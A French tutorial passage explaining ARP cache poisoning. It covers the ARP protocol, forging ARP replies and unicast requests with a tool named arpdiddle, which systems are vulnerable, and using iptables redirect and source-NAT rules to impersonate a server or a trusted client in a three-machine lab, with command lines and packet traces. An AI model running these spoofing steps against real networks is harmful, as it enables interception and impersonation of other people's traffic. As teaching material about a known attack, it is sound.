Articles
Source : NoFutur, Noway, NoRoute, Jokers, Hacker2020, Phrack, libertad, lotfree, Wikipédia, etc..
Retour à la liste des articles

Usurpation d'identité au niveau MAC : ARP Cache Poisoning

CHAPITRE PREMIER

Usurpation d'identité au niveau MAC :
ARP Cache Poisoning

Introduction

L'empoisonnement du cache ARP (ARP cache poisoning) est une technique qui permet de rediriger tous les flux entre deux machines communiquant sur un réseau local, quelque soit le protocole encapsulé par Ethernet.
Utilisée seule, cette technique n'a que peu d'utilité, mais combinée à d'autres outils, tels qu'un logiciel de routage, elle se révèle extrêmement puissante.

1.1 Fonctionnement du protocole ARP

Les machines qui implémentent la couche TCP/IP utilisent leurs adresses IP pour communiquer.
Sur un réseau Ethernet, un adressage physique s'ajoute à cet adressage logique : c'est le rôle de la sous-couche MAC, qui permet d'identifier les machines grâce à l'adresse MAC de leur carte réseau.

Pour respecter l'indépendance des couches imposée par le modèle OSI, la couche TCP/IP et les protocoles utilisateur travaillent uniquement avec des adresses IP. Par conséquent, elles n'ont aucune connaissance des adresses MAC qui y sont associées.

Le protocole ARP permet justement d'établir dynamiquement une correspondance entre les deux types d'adresses, c'est à dire de trouver l'adresse MAC associée à une adresse Internet.

Lorsqu'une machine tente d'établir une communication, elle doit d'abord récupérer l'adresse MAC du destinataire.
Une requête ARP (ARP-request) est alors envoyée en broadcast (diffusion) sur le réseau local. Toutes les machines reçoivent ce paquet, mais seul le destinataire répond, puisqu'il a identifié sa propre adresse IP dans l'entête ARP. Il forge alors une réponse ARP (ARP-reply) adressée à l'émetteur qui, connaissant à présent l'adresse physique de son interlocuteur, peut entamer une discussion avec lui.

0
15
31
ID adresse physique
ID adresse logique
Lg. phys.
Lg. logique
Opcode
Adresse physique …
…source
Adresse logique…
...source
Adresse.
…physique destinataire
Adresse logique destinataire

Figure 1.1 : L'entête ARP

Le protocole ARP a été créé de façon à ne pas être limité à établir une correspondance entre adresses MAC et adresses IP. Il peut être utilisé avec d'autres protocoles, dont le mode d'adressage est différent.

Par conséquent, le format de son entête est très flexible :
- Le champ identificateur d'adresse physique indique le type d'adresse physique utilisée. Pour Ethernet, ce champ vaut 1.
- L'identificateur d'adresse logique indique le protocole utilisant l' adresse logique à résoudre (0x0800 pour IP).
- Les champs longueur adresse physique et longueur d'adresse logique contiennent la taille, en octets, des adresses (respectivement 6 et 4 dans notre cas).
- Le code indique le type de paquet ARP : 1 pour une requête, 2 pour une réponse.

Les champs suivants contiennent les adresses qui entrent en jeu dans la résolution :
- L'adresse physique source indique la machine qui a émis le paquet. Dans le cas d'une réponse, il s'agit de l'adresse recherchée.
- L'adresse logique source et l'adresse logique destinataire indiquent respectivement l'adresse IP de l'émetteur et l'adresse IP du destinataire.
- Enfin, l'adresse physique destinataire indique l'adresse de la machine à qui s'adresse le paquet ARP. Dans le cas d'une requête, ce champ est vide puisque l'émetteur ne connaît pas encore l'adresse physique du destinataire.

Exemple du fonctionnement d'ARP :

/* Sur 192.168.0.1, on émet un ping à destination de 192.168.0.2 */
[192.168.0.1]$ ping 192.168.0.2
Envoi d'une requête 'ping' sur 192.168.0.2 avec 32 octets de données
Réponse de 192.168.0.2 : octets=32 temps=1 ms TTL=128
[...]

La trace de l'analyseur montre en détail la résolution ARP :

/* Envoi d'une requête en broadcast : 192.168.0.1 recherche l'adresse MAC 
de 192.168.0.2 */
00:50:ba:c5:6a:2a -> ff:ff:ff:ff:ff:ff
ARP Who has 192.168.0.2? Tell 192.168.0.1

/* Seul le propriétaire de l'adresse IP répond */

00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a 
ARP 192.168.0.2 is at 00:30:84:9d:e4:c5

/* L'émetteur connaît l'adresse MAC de la machine à pinguer, 
il peut donc commencer l'envoi de trames en unicast */
00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
192.168.0.1 -> 192.168.0.2 ICMP Echo (ping) request
00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a
192.168.0.2 -> 192.168.0.1 ICMP Echo (ping) reply

Comme on peut le voir, ce protocole est coûteux en ressources, tant au niveau du réseau que des machines :
La résolution d'une adresse provoque la transmission d'au moins deux trames (une requête et une réponse), voire plus si le destinataire n'existe pas ou est déconnecté (envoi répété de requêtes identiques).
De plus, du fait qu'on ne connaît pas l'adresse physique du destinataire (c'est justement ce qu'on cherche), les requêtes sont envoyées en broadcast, c'est à dire qu'elles sont adressées à toutes les machines du réseau local. Chaque machine doit alors décapsuler le paquet ARP, vérifier qu'il lui est destiné, et le détruire dans le cas contraire (c'est à dire dans la plupart des cas, sur un réseau comportant un grand nombre de machines). Ce travail inutile constitue évidemment une perte de temps pour toutes les stations.

Pour éviter tout trafic inutile sur le réseau, chaque machine tient à jour un cache (le cache ARP) qui est une table de correspondance dynamique entre adresses logiques et adresses physiques.
Quand une machine veut communiquer, et que le destinataire n'est pas déjà présent dans sa table, elle émet une requête ARP, puis crée une nouvelle entrée dans le cache, à partir des informations contenues dans la réponse. Si le destinataire est déjà présent, elle fait l'économie d'une trame, et peut commencer à transmettre ses données utiles immédiatement.

La commande ARP permet d'afficher le contenu du cache d'une machine :
/* Au départ, on s'assure que la table est vide */
[192.168.0.1]$ ARP -a
Aucune entrée ARP trouvée

/* Un ping vers 192.168.0.2 force la machine à émettre une requête ARP */

[192.168.0.1]$ ping 192.168.0.2
Envoi d'une requête 'ping' sur 192.168.0.2 avec 32 octets de données 
Réponse de 192.168.0.2 : octets=32 temps=1 ms TTL=128
[...]

/* Après le ping, la table contient une nouvelle entrée concernant 192.168.0.2 */
[192.168.0.1]$ ARP -a
  Adresse Internet      Adresse physique      Type
  192.168.0.2           00-30-84-9d-e4-c5     dynamique
1.2 Failles du protocole ARP

Voyons à présent comment utiliser le protocole ARP pour voler l'identité d'une machine.
Le réseau de test est constitué de trois machines et a pour adresse 192.168.0.0/24.
192.168.0.1 et 192.168.0.2 sont deux machines qui communiquent souvent entre elles sur le réseau.
192.168.0.3 sera la machine de l'attaquant.
L'objectif est de trouver un moyen pour que 192.168.0.3 (attaquant) se fasse passer pour 192.168.0.2 aux yeux de 192.168.0.1 (victime).

1.2.1 Première approche

Une première possibilité serait d'usurper physiquement l'identité de 192.168.0.2, en falsifiant toutes les trames que l'on envoie à 192.168.0.1, et de modifier l'adresse IP de l'attaquant en 192.168.0.2. Par exemple, l'attaquant pourrait forger ses propres trames à destination de 192.168.0.1 et placer l'adresse MAC de 192.168.0.2 dans le champ Adresse source de l'entête Ethernet.
La modification de l'adresse MAC de la carte Ethernet de l'attaquant est aussi envisageable : sous Linux, cette modification est réalisée à chaud et ne pose aucun problème. De cette manière, 192.168.0.1 pensera qu'il reçoit des trames en provenance de 192.168.0.2 alors qu'elles ont été émises par une troisième machine. Cette solution est cependant très limitée en ce qui concerne la furtivité, puisque deux machines possèderont la même adresse physique et la même adresse IP sur le réseau local.

Une seconde solution consiste à attendre que la victime envoie une requête ARP pour trouver l'adresse MAC de la machine avec laquelle elle veut communiquer, et d'y répondre nous-mêmes, avec notre propre adresse physique.
De cette manière, nous associons notre adresse MAC à l'adresse IP de la machine recherchée par la victime. A présent, toutes les trames que la victime enverra à son interlocuteur nous seront physiquement adressées.

Cependant, la mise en pratique de cette technique soulève plusieurs problèmes :
Lorsque la victime envoie la requête ARP et que nous lui envoyons une réponse falsifiée, nous nous trouvons en situation de concurrence avec la machine dont nous usurpons l'identité : en effet, cette dernière va recevoir la requête, identifier son adresse logique, et y répondre tout naturellement.
L'émetteur va alors recevoir deux réponses contenant des informations différentes. Son comportement est alors incertain.
Dans le cas où il prendrait en compte uniquement la première réponse reçue, il faut absolument que l'attaquant soit plus rapide que le véritable destinataire. Compte tenu de l'éloignement des machines, et des éventuelles collisions, il est possible que l'attaque échoue systématiquement.


1.2.2 Corruption du cache ARP

L'attaque précédente a montré ses limites, car elle oblige l'attaquant à attendre l'émission d'une requête ARP par la victime, puis à devancer le véritable destinataire en renvoyant une réponse falsifiée.

Or nous savons que chaque machine gère localement une table ARP, qui lui permet justement de limiter ce type de requête. En effet, les données contenues dans ce cache son prioritaires sur l'envoi d'une nouvelle requête, et toute entrée est considérée comme valide et fiable. Pour se faire passer pour une autre machine, il nous faut donc jouer sur l'association adresse MAC / adresse IP mise en place par le cache.

Par conséquent, si nous parvenons à modifier cette table à distance, à tout moment, et avec des données arbitraires, nous pourrons alors tromper la victime en ce qui concerne l'adresse physique d'un destinataire quelconque. Toutes ses trames seront alors physiquement adressées à une autre machine (la nôtre par exemple).


1.2.2.1 Corruption par envoi de réponses ARP falsifiées

Cette méthode se base sur le fait que la plupart des systèmes d'exploitation prennent en compte toute réponse ARP qui leur est adressée, et ce sans vérifier qu'ils ont bien émis un peu plus tôt une requête concernant cette machine.
De cette manière, il est très simple de modifier une entrée dans le cache d'une machine. En d'autres termes, de remplacer la véritable adresse MAC par la nôtre.

Nous allons donc envoyer à notre victime une réponse ARP qui semblera provenir de la machine dont on prend l'identité, mais contenant des informations erronées :
Le champ adresse IP source de la réponse contiendra l'adresse logique de l'hôte pour qui on veut se faire passer, mais le champ adresse MAC source, au lieu de contenir la véritable adresse physique de ce dernier, contiendra notre adresse MAC.

De cette façon, la victime associe, dans son cache ARP, l'adresse IP d'une machine à notre propre adresse MAC.

Pour mener à bien cette opération, nous avons développé un programme, arpdiddle, capable de forger puis d'émettre un paquet ARP contenant les informations désirées.
Code source et mode d'emploi d' arpdiddle

Dans cet exemple, nous allons tromper 192.168.0.1 en lui faisant associer l'adresse de 192.168.0.2 à notre propre adresse MAC :

Avant l'attaque, on crée une entrée dans la table de la victime :

[192.168.0.1] ping 192.168.0.2 
[192.168.0.1] ARP -a 
  Adresse Internet      Adresse physique      Type
  192.168.0.2           00-30-84-9d-e4-c5     dynamique

La table ARP contient une nouvelle entrée, qui associe l'adresse Internet 192.168.0.2 à l'adresse MAC de 192.168.0.2 (00-30-84-9d-e4-c5)

[192.168.0.3] arpdiddle -i 1 -m reply 192.168.0.1 192.168.0.2
Redirection vers 00:50:ba:c5:6a:2a
192.168.0.2 is-at 00:30:84:9d:e4:c5
00:50:ba:c5:6a:2a  00:30:84:9d:e4:c5 192.168.0.2 is-at 00:50:ba:c5:6a:2a

00:50:ba:c5:6a:2a  00:30:84:9d:e4:c5 192.168.0.2 is-at 00:50:ba:c5:6a:2a
[...]

[192.168.0.1] ARP -a
  Adresse Internet      Adresse physique      Type
  192.168.0.2           00-50-ba-c5-6a-2a     dynamique

L'entrée a été modifiée : l'adresse physique est la nôtre.

Remarque
En profitant d'une erreur dans l'implémentation du protocole ARP sur certains systèmes d'exploitation (Windows 95, Windows NT), il est non seulement possible de mettre à jour une entrée, mais aussi de créer de nouvelles entrées dans le cache, en envoyant des réponses ARP.

Illustrons ce mécanisme par un exemple :
Avant l'attaque, on affiche la table d'une machine sous Windows 95 :

[192.168.0.1] ARP -a
Aucune entrée ARP trouvée

[192.168.0.3] arpdiddle -i 1 -m reply 192.168.0.1 192.168.0.2
Redirection vers 00:50:ba:c5:6a:2a
192.168.0.2 is-at 00:30:84:9d:e4:c5
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 192.168.0.2 is-at 00:50:ba:c5:6a:2a
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 192.168.0.2 is-at 00:50:ba:c5:6a:2a
[...]

[192.168.0.1] ARP -a
  Adresse Internet      Adresse physique      Type
  192.168.0.2           00-50-ba-c5-6a-2a     dynamique

Une nouvelle entrée a bien été créée à partir des informations contenues dans la fausse réponse.

Mais les systèmes récents (Windows XP, Linux) ne sont plus vulnérables. Si une réponse est reçue, alors qu'aucune requête n'a été envoyée, et qu'il n'existe pas d'entrée concernant cette adresse, le paquet ARP est simplement ignoré.

Avant l'attaque, on affiche la table d'une machine tournant sous Windows XP ou Linux :

[192.168.0.1] ARP -a
/* La table ARP est vide */
Aucune entrée ARP trouvée

[192.168.0.3] arpdiddle -i 1 -m reply 192.168.0.1 192.168.0.2
Redirection vers 00:50:ba:c5:6a:2a
192.168.0.2 is-at 00:30:84:9d:e4:c5
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 192.168.0.2 is-at 00:50:ba:c5:6a:2a
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 192.168.0.2 is-at 00:50:ba:c5:6a:2a
[...]

[192.168.0.1] ARP -a
/* La table est toujours vide ;-( */
Aucune entrée ARP trouvée


1.2.2.2 Corruption du cache par envoi de requêtes ARP

Il peut sembler bizarre que la réception d'une requête puisse provoquer la modification du cache ARP de la machine. Mais il ne faut pas perdre de vue que la table ARP a été créée dans le but d'optimiser la résolution des adresses en diminuant le nombre de requêtes émises sur le réseau.

Le module ARP exploite donc toutes les informations contenues dans les paquets ARP qu'il reçoit.
Par exemple, si une machine reçoit une requête venant d'un certain hôte du réseau, il y a fort à parier pour que celui-ci souhaite entamer une communication avec elle. Or l'échange de données va généralement dans les deux sens (par exemple, une demande d'écho est généralement suivie d'une réponse d'écho).

En créant une entrée dans sa table dès la réception de la requête, la machine n'aura pas à son tour à résoudre l'adresse de son interlocuteur lorsque l'échange de données aura lieu.

Pour illustrer ce mécanisme, observons le cache ARP du destinataire d'un ping après l'échange :

/* Les caches des deux machines sont vides */
[192.168.0.1] ARP -a
Aucune entrée ARP trouvée

[192.168.0.2] ARP -a
Aucune entrée ARP trouvée

[192.168.0.1] ping 192.168.0.2
Envoi d'une requête 'ping' sur 192.168.0.2 avec 32 octets de données :
Réponse de 192.168.0.2 : octets=32 temps=1 ms TTL=128
[...]

/* Comme 192.168.0.1 ne connaît pas l'adresse physique de son interlocuteur, il envoie d'abord une requête ARP puis met à jour son cache */

[192.168.0.1] ARP -a
  Adresse Internet 		Adresse physique 	Type
  192.168.0.2 			00-30-84-9d-e4-c5 	dynamique
/* 192.168.0.2 a lui aussi créé une entrée dans son cache, alors qu'il n'a émis 
aucune requête : celle-ci a été créée à partir de la requête qu'il a reçue */
[192.168.0.2] ARP -a
  Adresse Internet 		Adresse physique 	Type
  192.168.0.1 			00:50:ba:c5:6a:2a 	dynamique

La technique employée pour corrompre le cache ARP est alors similaire à l'envoi de réponses ARP.
On crée une requête ARP demandant la résolution de l'adresse IP de la victime, et contenant de fausses informations : le champ adresse logique source contiendra l'adresse de la machine dont on usurpe l'identité, et la champ adresse physique source, au lieu de contenir la véritable adresse MAC, contiendra notre propre adresse physique.
Comme nous l'avons mentionné, une requête ARP est envoyée en diffusion (broadcast). Par conséquent, le véritable possesseur de l'adresse IP que nous voulons rediriger va voir passer cette trame, et détecter une mauvaise configuration du réseau.
Pour éviter cela, nous allons tout simplement émettre notre requête en unicast, c'est qu'elle sera adressée physiquement à la victime. Dans la pratique, une machine n'émettrait jamais une telle trame, puisque cela reviendrait à demander l'adresse MAC d'une machine alors que l'on la connaît déjà. Mais il se trouve que la module ARP du récepteur ne fait aucune vérification sur la cohérence entre les adresses de l'entête Ethernet et les données du paquet ARP.

En recevant cette trame, la victime répond naturellement à cette requête (cette réponse nous est physiquement adressée, mais elle n'est bien évidemment d'aucune utilité), et dans un but d'optimisation, crée (ou met à jour) une entrée dans sons cache, associant l'adresse IP usurpée avec notre adresse MAC.
La partie est alors gagnée : à partir de cet instant, tous les paquets envoyés par la victime, à destination de l'adresse IP de la machine dont on usurpe l'identité, nous seront physiquement adressés.

/* Avant l'attaque, la table ARP est vide */
[192.168.0.1] ARP -a
Aucune entrée ARP trouvée

/* Attaque ARP */
[192.168.0.3] arpdiddle -i 0 -m request 192.168.0.1 192.168.0.2
Redirection vers 00:50:ba:c5:6a:2a
192.168.0.2 is-at 00:30:84:9d:e4:c5
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 Who has 192.168.0.1? Tell 192.168.0.2
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 Who has 192.168.0.1? Tell 192.168.0.2
[...]

/* Une entrée concernant 192.168.0.2 a été créée par la victime. L'adresse physique est erronée : c'est celle de l'attaquant */

[192.168.0.1] ARP -a
  Adresse Internet 		Adresse physique 	Type 
  192.168.0.2 			00:50:ba:c5:6a:2a 	dynamique

Remarque : la victime possède maintenant une entrée associant 192.168.0.2 avec notre adresse physique. Si nous avons pu, avec une simple requête, modifier volontairement ce cache, les autres machines peuvent le faire aussi, simplement en cherchant à résoudre une adresse sur le réseau.

Imaginons maintenant que 192.168.0.2 ait besoin, pour une raison quelconque, de dialoguer avec 192.168.0.1. Elle va tout naturellement envoyer une requête ARP sur le réseau, requête qui contient des informations exactes sur ses adresses physique et logique. En recevant cette trame, 192.168.0.1 va de nouveau mettre à jour son cache, et cette fois, avec des informations exactes : tout notre travail est alors perdu.

Il faut donc à tout prix empêcher la machine dont on prend l'identité, d'émettre des requêtes ARP pendant toute la durée de l'expérience. Pour réaliser cela, il suffit de lui envoyer régulièrement des requêtes ARP qui sembleront provenir de 192.168.0.1, et qui mettrons à jour son cache ARP.


1.2.2.3 Systèmes d'exploitation vulnérables à la corruption du cache ARP

Les systèmes anciens sont vulnérables à la corruption par envoi de fausses réponses ARP. Ce problème a disparu sur les systèmes récents.

O.S.
WIN 95
WIN NT
WIN XP
Linux 2.4
L'entrée existe
Oui
Non
Oui
Non
Oui
Non
Oui
Non
ARP Request
ARP Reply
X
X

 

1.3 Applications de l'ARP Cache Poisoning

Nous disposons maintenant d'un outil, arpdiddle, qui permet de modifier le cache ARP d'une machine à distance, et d'y associer une adresse IP quelconque à une adresse physique, elle aussi quelconque. Voyons à présent les différentes applications de cette technique.

1.3.1 Usurper l'identité d'un serveur

Pour cette manipulation, 192.168.0.2 joue le rôle du serveur, 192.168.0.1 celui du client. Notre but consiste à faire croire au client qu'il a initialisé une connexion avec le serveur, alors qu'en réalité, il dialogue avec la machine de l'attaquant.

Pour mener à bien cette expérience, nous installons un serveur basique sur 192.168.0.2 et 192.168.0.3 (machine de l'attaquant), qui écoute le port TCP 21 (le choix du port est arbitraire). Ce serveur, nestor, est configuré pour envoyer un message de bienvenue dès qu'il accepte une nouvelle connexion.
Code source et mode d'emploi de nestor

Sur le vrai serveur, le message est : " Bonjour, je suis 192.168.0.2 "

[192.168.0.2] nestor -v -p 21 -s message1.txt

Sur la machine de l'attaquant: " Bonjour, je suis 192.168.0.3 (youpi) "

[192.168.0.3] nestor -v -p 21 -s message2.txt

Avant l'attaque, une connexion initialisée par la future victime sur le port 21 de 192.168.0.2 donne :

[192.168.0.1] telnet 192.168.0.2 21
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.
Bonjour, je suis 192.168.0.2
Connection closed by foreign host.

Comme prévu, 192.168.0.1 s'est connecté au vrai serveur, qui lui a envoyé son message de bienvenue.

Après l'attaque, si la manipulation a réussi, le message affiché après une connexion identique sera : " Bonjour, je suis 192.168.0.3 (youpi) ", ce qui prouvera que le flux de la victime vers le serveur est bien redirigé vers la machine de l'attaquant.

La première étape est d'associer l'adresse IP de 192.168.0.2 avec notre adresse MAC dans le cache de la victime. A l'aide de arpdiddle, c'est maintenant un jeu d'enfant :

[192.168.0.3] ./arpdiddle -m request 192.168.0.1 192.168.0.2
192.168.0.1 is-at 00:30:84:9d:e4:c5
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 who has 192.168.0.1 ? Tell 192.168.0.2
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 who has 192.168.0.1 ? Tell 192.168.0.2
[...]

A présent, lorsque la victime va vouloir envoyer un paquet IP à 192.168.0.2, les trames nous seront physiquement adressées.

Cependant, un problème survient du côté de la machine de l'attaquant. La carte réseau reçoit la trame, découvre qu'elle lui est adressée, et que le protocole encapsulé est IP. Elle passe donc les données à la couche IP de notre machine. C'est à ce niveau que le problème survient : la couche IP vérifie en premier lieu que l'adresse IP destination du paquet correspond bien à sa propre adresse IP… mais ce n'est pas le cas. En effet, ce champs a été rempli par la victime, 192.168.0.1, qui est persuadée de discuter avec le serveur, 192.168.0.2 .
En toute logique, notre machine écarte alors le paquet, tout en envoyant une redirection ICMP à l'émetteur berné.

Ce message d'erreur est sensé indiquer à l'émetteur qu'il s'est trompé de passerelle (gateway) pour sortir du réseau local. Donc, du point de vue de la victime, nous avons toutes les caractéristiques d'un routeur : les trames nous sont adressées physiquement, mais l'adresse Internet des paquets n'est pas la nôtre.

Tout ce que nous avons à faire, c'est intercepter les paquets entrants à destination du port TCP 21 avant qu'ils ne soient traités par la couche réseau, et modifier le champ adresse destination de l'entête IP pour y placer notre propre adresse IP. Ainsi, la couche réseau croira que les paquets lui sont réellement destinés, et ceux-ci pourront continuer leur chemin dans la pile de protocoles pour atteindre notre application, nestor, qui écoute sur le port 21.
Nous faisons ainsi d'une pierre deux coups : nous évitons que notre machine envoie des redirections ICMP, et bénéficions de la pile de protocoles de notre système d'exploitation.

  • Translation d'adresse sous Windows
    Une telle modification des paquets peut être réalisée par Winroute : son option de Port Mapping permet de spécifier l'adresse et le port de destination des paquets à modifier, ainsi que la nouvelle adresse IP vers laquelle les paquets seront redirigés. Dans notre cas, on définit donc un Port Mapping sur le port TCP 21 des paquets à destination de 192.168.0.2, et la nouvelle adresse sera notre propre adresse IP (192.168.0.3).
  • Translation d'adresse sous Linux
    iptables permet de réaliser une redirection de port en une commande :

    [192.168.0.3] iptables -t nat -A PREROUTING -s 192.168.0.1 -d 192.168.0.2 -p tcp --dport 21 -j REDIRECT -to-ports 21

Une fois en place la corruption du cache et la translation d'adresse, on tente de nouveau une connexion de 192.168.0.1 vers le serveur de 192.168.0.2 :

[192.168.0.1] telnet 192.168.0.2 21
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.
Bonjour, je suis 192.168.0.3 (youpi)

L'opération a réussi. En se connectant sur 192.168.0.2, la victime s'est en réalité adressée à la machine de l'attaquant.

La figure 1.3 illustre ce mécanisme :

Voici une trace de cet échange capturé par l'analyseur :

00:50:ba:c5:6a:2a -> ff:ff:ff:ff:ff:ff
ARP Who has 192.168.0.1? Tell 192.168.0.3

00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a
ARP 192.168.0.1 is at 00:30:84:9d:e4:c5

/* Attaque ARP. La trame semble provenir de 192.168.0.2,
et associe notre adresse MAC (00:50:ba:c5:6a:2a ) dans le cache de la victime */

00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
ARP Who has 192.168.0.1? Tell 192.168.0.2

00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a
ARP 192.168.0.1 is at 00:30:84:9d:e4:c5

/* La victime tente une connexion sur le serveur (192.168.0.2)
Mais l'adresse MAC n'est pas la bonne : c'est celle de l'usurpateur */

00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a
192.168.0.1 -> 192.168.0.2 TCP 1026 > 21 [SYN]

/* L'usurpateur accepte la connexion */
00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
192.168.0.2 -> 192.168.0.1 TCP 21 > 1026 [SYN, ACK]

00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a
192.168.0.1 -> 192.168.0.2 TCP 1026 > 21 [ACK]

/* L'usurpateur envoie des données à la victime, qui croit recevoir un message de 192.168.0.2 */
00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
192.168.0.2 -> 192.168.0.1 TCP 21 > 1026 [PSH, ACK]
       Data: Bonjour je suis 192.168.0.3 (youpi)

00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
192.168.0.2 -> 192.168.0.1 TCP 21 > 1026 [FIN, ACK]

00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a
192.168.0.1 -> 192.168.0.2 TCP 1026 > 21 [ACK]

00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a
192.168.0.1 -> 192.168.0.2 TCP 1026 > 21 [FIN, ACK]

00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
192.168.0.2 -> 192.168.0.1 TCP 21 > 1026 [ACK]

Corruption du cache d'un routeur

Jusqu'à présent nous avons considéré que les trois machines (victime, usurpé et usurpateur) se trouvaient sur le même segment Ethernet.

Mais imaginons à présent que nous empoisonnions non pas une simple station, mais un routeur donnant accès au réseau interne. Sur ce réseau, se trouve un serveur auquel on a accès depuis l'extérieur (par exemple depuis Internet), via le routeur.

En dupant le routeur sur la véritable adresse MAC du serveur, il est possible de rediriger vers notre machine toutes les connexions en provenance de l'extérieur, et à destination du serveur.

Par exemple, s'il s'agit du serveur Web de notre entreprise, accessible depuis Internet, nous pouvons rediriger toutes les requêtes HTTP vers notre propre machine, sur laquelle tourne un second serveur Web offrant un contenu différent. Tous les utilisateurs se connectant au site depuis Internet verront alors nos propres pages, et non pas les pages du serveur réel.

1.3.2 Usurpation de l'identité d'un client

La situation est la suivante : un serveur tourne sur le port TCP 21 de 192.168.0.1 et pour des raisons de sécurité, il n'accepte que les connexions en provenance de 192.168.0.2. Toute autre demande est rejetée. Quand il accepte une connexion, le serveur est configuré pour envoyer immédiatement le message : " Bonjour, je suis 192.168.0.1 et vous êtes forcément 192.168.0.2 ! ".

Notre but est alors de faire en sorte que notre machine (192.168.0.3) puisse tout de même établir la connexion, et ce, en se faisant passer pour 192.168.0.2 aux yeux du serveur.

Le filtrage de l'adresse source par le serveur peut être réalisé de la manière suivante :
- Soit le serveur dispose d'une option lui demandant de vérifier l'adresse IP de la machine qui vient d'établir la connexion, et de la fermer si elle ne correspond pas à celle attendue :

[192.168.0.1] nestor -v -p 21 -s msg.txt -t 192.168.0.2

- Soit par le firewall de Linux :

[192.168.0.1] iptables -P INPUT DROP
[192.168.0.1] iptables -A INPUT -s 192.168.0.2 -j ACCEPT
[192.168.0.1] iptables -A OUTPUT -d 192.168.0.2 -j ACCEPT

Lorsque l'attaquant tente une connexion sur le port 21 du serveur, la connexion est refusée :

[192.168.0.3] telnet 192.168.0.1 21
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Connection closed by foreign host.

A première vue, il ne semble pas nécessaire d'usurper l'identité physique de 192.168.0.2 , une modification de l'adresse IP source des paquets envoyés apparaît être la bonne solution.

Sous Linux, l'outil iptables permet de réaliser une translation d'adresse source en une simple commande :

[192.168.0.3] iptables -t nat -A POSTROUTING -p tcp -d 192.168.0.1 --dport 21 -j SNAT -to-source 192.168.0.2

Dorénavant, l'adresse source de tous les paquets correspondant à une connexion à destination du serveur, sera automatiquement modifiée.

Néanmoins on perçoit la limite de cette technique lorsque la serveur émet une réponse :
Reprenons en détail l'établissement de la connexion TCP :

  • L'attaquant tente d'établir une connexion sur le port 21 du serveur ; il envoie donc un datagramme SYN et attend une réponse du serveur. Avant d'être passé à la carte réseau, l'adresse IP source du paquet est modifiée par iptables, et devient 192.168.0.2
  • Le serveur reçoit alors une demande de connexion qui, d'un point de vue de la couche réseau, semble provenir de l'hôte en qui il a toute confiance. Il accepte alors la connexion en envoyant un datagramme SYN/ACK à l'émetteur.
  • Le problème survient à ce moment : la réponse est adressée physiquement et logiquement à 192.168.0.2, et non pas à l'attaquant. Par conséquent, notre carte réseau ne tient pas compte de cette trame, et l'acceptation de la connexion n'est jamais reçue par notre couche TCP.
    De plus, lorsque 192.168.0.2 reçoit et analyse la trame, il s'aperçoit qu'il n'a jamais émis de demande de connexion sur ce port, et met fin à la connexion.

Même en analysant tout le trafic du réseau (même celui qui ne nous est pas destiné) et en gérant nous même la connexion TCP (c'est à dire sans passer par la pile du système d'exploitation), nous n'avons aucune chance de maintenir une connexion de cette manière.

Par conséquent, si nous parvenons à faire en sorte que le serveur nous adresse physiquement les trames qu'il destine à l'hôte dont on vole l'identité, nous aurons résolu les deux problèmes : notre carte réseau fera remonter les paquets, qui seront de nouveau modifiés par iptables pour masquer en interne la translation d'adresse, et reçus au final par la couche Application (le client telnet par exemple).
Et parallèlement, le véritable destinataire logique (192.168.0.2) n'aura aucune connaissance de ce qui se déroule au niveau MAC, tout simplement parce que les trames ne lui sont pas adressées. Il ne pourra donc pas interférer dans notre communication avec le serveur, en coupant la connexion par exemple.

Or nous savons réaliser une telle opération, une fois encore à l'aide de arpdiddle sous Linux :

[192.168.0.3] ./arpdiddle -m request 192.168.0.1 192.168.0.2
192.168.0.1 is-at 00:30:84:9d:e4:c5
/* Envoi des requêtes ARP falsifiées */
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 who has 192.168.0.1 ? Tell 192.168.0.2
00:50:ba:c5:6a:2a 00:30:84:9d:e4:c5 who has 192.168.0.1 ? Tell 192.168.0.2
[...]

A présent, réitérons la tentative de connexion au serveur :

[192.168.0.3] telnet 192.168.0.1 21
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
/* La connexion est acceptée par le serveur */
Bonjour, je suis 192.168.0.1 et vous êtes forcément 192.168.0.2 !
[...]

C'est gagné. Le serveur croit dialoguer avec l'hôte en qui il a confiance, mais nous sommes les véritables interlocuteurs.

La figure 1.5 illustre la mise en place d'une telle usurpation :

Les messages affichés par le serveur confirment la supercherie :

[192.168.0.1]# nestor -v -p 21 -s msg.txt -t 192.168.0.2
Nestor ready !
/* Le serveur dialogue en réalité avec 192.168.0.3 (usurpateur) */
Connection from 192.168.0.2:1027
Sending msg.txt...65 bytes
Connection closed

Voici la trace des trames capturées par l'analyseur :

00:50:ba:c5:6a:2a -> ff:ff:ff:ff:ff:ff
ARP Who has 192.168.0.1? Tell 192.168.0.3

/* Attaque ARP. La trame semble provenir de 192.168.0.2,
et associe notre adresse MAC (00:50:ba:c5:6a:2a ) dans le cache de la victime */

00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
ARP Who has 192.168.0.1? Tell 192.168.0.2

/* L'usurpateur initialise une connexion avec le serveur.
La translation d'adresse a modifié l'adresse source en 192.168.0.2 mais l'adresse MAC source est bien la nôtre */

